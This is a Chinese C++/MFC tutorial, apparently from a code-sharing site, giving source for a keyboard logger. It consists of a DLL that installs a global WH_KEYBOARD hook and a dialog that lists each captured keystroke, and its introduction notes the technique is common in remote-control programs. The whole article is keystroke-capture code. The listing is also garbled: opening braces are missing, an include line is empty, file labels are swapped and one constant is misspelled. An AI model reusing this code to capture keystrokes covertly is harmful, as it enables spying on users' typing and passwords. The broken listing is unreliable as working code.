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C++键盘记录程序代码

这篇文章主要介绍了C++键盘记录程序代码,是Windows应用程序开发中非常实用的功能,该功能也常被一些远程操控程序所实用,需要的朋友可以参考下

本文实例讲述了C++键盘记录程序。分享给大家供大家参考。具体分析如下:

主程序如下:

就是基于对话框的框架,加个个OnHookKey函数,

代码如下:
long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //处理自定义消息 

    char szKey[80]={0}; 
    GetKeyNameText(lParam, szKey, 80); 
    CString strItem; 
    strItem.Format("按键:%s\r\n", szKey); 
    CString strEdit; 
    GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit); 
    GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem); 
    ::MessageBeep(MB_OK); 
    return 0; 
}

在初始化时,调用DLL中的:
代码如下:
SetKeyHook(TRUE, 0, m_hWnd)

在析构时,调用DLL中的:
代码如下:
SetKeyHook(FALSE);

.cpp源文件代码:

代码如下:
#include  
#define  HM_KEY WM_USER+100 
//CMyApp 
class CMyApp:public CWinApp 

public: 
    BOOL InitInstance(); 
}; 
 
//CMyDialog 
class CMainDialog:public CDialog 

public: 
    CMainDialog(CWnd* pParentWnd = NULL); 
 
protected: 
    virtual BOOL OnInitDialog( ); 
    afx_msg void OnCancel(); 
    afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam);  //处理自定义消息的声明 
 
    DECLARE_MESSAGE_MAP() 
};

.h头文件代码:

代码如下:
#include "resource.h" 
#include "KeyHookApp.h" 
#include "KeyHook.h" 
#pragma comment(lib,"KeyHook.lib") 
 
CMyApp theApp; 
 
BOOL CMyApp::InitInstance() 

    CMainDialog dlg; 
    m_pMainWnd = &dlg;   //给m_pMainWnd 主窗口 
    dlg.DoModal(); 
    return FALSE; //不进入消息循环 

 
BEGIN_MESSAGE_MAP(CMainDialog, CDialog) 
    ON_MESSAGE(HM_KEY, OnHookKey) //自定义消息 
END_MESSAGE_MAP() 
 
//CMainDialog 
CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd)   
{   
 
}  
BOOL CMainDialog::OnInitDialog( ) 

    CDialog::OnInitDialog(); 
    if (!SetKeyHook(TRUE, 0, m_hWnd)) 
    { 
        MessageBox("安装钩子失败"); 
    } 
     
    return TRUE; 

//处理关闭消息 
void CMainDialog::OnCancel() 

    OutputDebugString("oncancel"); 
    SetKeyHook(FALSE); 
    CDialog::OnCancel(); 
    return; 

long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //处理自定义消息 

    char szKey[80]={0}; 
    GetKeyNameText(lParam, szKey, 80); 
    CString strItem; 
    strItem.Format("按键:%s\r\n", szKey); 
    CString strEdit; 
    GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit); 
    GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem); 
    ::MessageBeep(MB_OK); 
    return 0; 
}

dll的代码:
.cpp源文件代码:

代码如下:
// KeyHook.cpp : 定义 DLL 应用程序的导出函数。 
// 
 
#include "stdafx.h" 
#include "KeyHook.h" 
 
 
//共享数据段 
#pragma data_seg("YCIShared") 
HWND g_hWndCaller=NULL; //保存主窗口句柄 
HHOOK g_hHook = NULL; //保存钩子句柄  
#pragma data_seg() 
// 这是导出变量的一个示例 
KEYHOOK_API int nKeyHook=0; 
 
// 这是导出函数的一个示例。 
KEYHOOK_API int fnKeyHook(void) 

    return 42; 

 
 
//通过内存得到模块句柄的帮助函数 
HMODULE WINAPI ModuleFromAddress(LPVOID pv) 

    MEMORY_BASIC_INFORMATION  mbi; 
    if (0 != ::VirtualQuery(pv, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) 
    { 
        return (HMODULE)mbi.AllocationBase; 
    } 
    else 
    { 
        return NULL; 
    } 

//钩子处理函数 
LRESULT CALLBACK KeyboardProc( 
    __in  int code, 
    __in  WPARAM wParam, 
    __in  LPARAM lParam 
    ) 

    if (code<0||code==HC_NOREM) 
    { 
        return ::CallNextHookEx(g_hHook, code, wParam,lParam); 
    } 
    //如果重复消息,交给下一链 
    if (lParam & 0x40000000) 
    { 
        return ::CallNextHookEx(g_hHook, code, wParam,lParam); 
    } 
    //通知主窗口 
    ::PostMessageA(g_hWndCaller, HM_KEY, wParam, lParam); 
    return ::CallNextHookEx(g_hHook, code, wParam,lParam); 
     

//安装和卸载钩子函数 
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller) 

    BOOL bRet = TRUE; 
    g_hWndCaller = hWndCaller; 
    if (bInstall) //安装钩子 
    { 
        g_hHook =::SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, ModuleFromAddress(KeyboardProc), dwThreadId); 
        bRet = (g_hHook != NULL); 
    } 
    else //卸载钩子 
    { 
        ::UnhookWindowsHookEx(g_hHook); 
        g_hHook = NULL; 
    } 
    return bRet; 

// 这是已导出类的构造函数。 
// 有关类定义的信息,请参阅 KeyHook.h 
CKeyHook::CKeyHook() 

    return; 
}

.h头文件代码:

代码如下:
// 下列 ifdef 块是创建使从 DLL 导出更简单的 
// 宏的标准方法。此 DLL 中的所有文件都是用命令行上定义的 KEYHOOK_EXPORTS 
// 符号编译的。在使用此 DLL 的 
// 任何其他项目上不应定义此符号。这样,源文件中包含此文件的任何其他项目都会将 
// KEYHOOK_API 函数视为是从 DLL 导入的,而此 DLL 则将用此宏定义的 
// 符号视为是被导出的。 
#ifdef KEYHOOK_EXPORTS 
#define KEYHOOK_API __declspec(dllexport) 
#else 
#define KEYHOOK_API __declspec(dllimport) 
#endif 
 
#define  HM_KEY WM_USER + 100 
// 此类是从 KeyHook.dll 导出的 
class KEYHOOK_API CKeyHook { 
public: 
    CKeyHook(void); 
    // TODO: 在此添加您的方法。 
}; 
 
extern KEYHOOK_API int nKeyHook; 
 
KEYHOOK_API int fnKeyHook(void); 
 
//声明要导出的 
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId=0, HWND hWndCaller=NULL);

.def代码:

代码如下:
EXPORTS 
    SetKeyHook 
SECTIONS 
    YCIShared  Read Write Shared

希望本文所述对大家的C++程序设计有所帮助。


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